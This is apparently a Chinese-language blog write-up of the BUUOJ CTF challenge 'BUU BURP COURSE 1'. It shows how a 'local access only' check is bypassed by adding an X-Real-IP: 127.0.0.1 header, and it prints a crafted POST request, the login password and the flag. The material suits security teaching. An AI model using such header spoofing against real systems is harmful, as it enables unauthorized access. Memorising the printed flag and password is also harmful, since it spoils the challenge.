web-buuoj-(BUU BURP COURSE 1)


一、题面

提示只能本地访问。

二、分析

抓包:

提示:只能本地访问,可能是对请求来源进行了限制。

尝试用referer字段/x-forward-for字段。

  • 添加Referer字段
Referer: http://localhost
Referer: http://127.0.0.1

没用。

  • 添加X-Forwarded-For
X-Forwarded-For: 127.0.0.1

没用。

三、X-Real-IP

X-Real-IP 是一个 HTTP 请求头字段,它用于在通过代理或负载均衡器转发请求时,保留原始请求的客户端 IP 地址信息。这个字段通常只在反向代理服务器中使用,用于表示原始请求的客户端 IP 地址。当请求经过反向代理服务器时,该服务器会将客户端的 IP 地址设置到 X-Real-IP 字段中,这样后端服务器可以通过读取 X-Real-IP 字段来获取原始请求的客户端 IP 地址。

X-Real-IP VS X-Forwarded-For:

X-Real-IPX-Forwarded-For 不同,X-Forwarded-For 是一个标准的 HTTP 请求头字段,用于记录代理链中的每个代理服务器的 IP 地址,而 X-Real-IP 通常只包含一个 IP 地址,这个地址应该反映了发起请求的客户端的真实 IP。X-Real-IP 并不是标准的 HTTP 请求头字段,而是由某些特定的反向代理服务器(如 Nginx)引入的,因此,它的通用性和兼容性可能不如 X-Forwarded-For

需要注意的是,由于 X-Real-IP 可以被伪造,因此在验证其真实性时,也需注意可能存在的 IP 伪造问题。在实际应用中,开发者需要了解如何正确配置和使用这些头部字段,并注意隐私问题,在使用客户端 IP 信息时要遵守隐私法规,不要在未经授权的情况下收集或存储敏感信息。

四、解题

添加x-real-ip:

x-real-ip: 127.0.0.1

注意:经过实际测试,可以忽略大小写:X-Real-IP也可以。

可以看到返回一个登录页面,包含一个form表单。

点击登录按钮,抓取POST数据包:

直接提交仍然会提示:只能本地访问。

添加X-Real-IP:127.0.0.1之后提交POST数据:

成功获得flag。

  • 测试POST数据包的最简形式:

经过测试,如果想要手动构造POST数据包的话,最简形式如下:

POST / HTTP/1.1
Host: node5.buuoj.cn:26861
Content-Type: application/x-www-form-urlencoded
X-Real-IP: 127.0.0.1

username=admin&password=wwoj2wio2jw93ey43eiuwdjnewkndjlwe

除了Host字段、解题必须的X-Real-IP字段外,保留Content-Type字段即可。

flag:

flag{c5766d2f-15bc-4ad2-b99f-4b4a2638717b}

总结

本题目主要考察使用BP等代理工具修改请求包的方法,核心考点:

  • 1)修改/添加X-Real-IP=127.0.0.1,绕过本地访问限制。

  • 2)yakit/BP修改数据包。


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录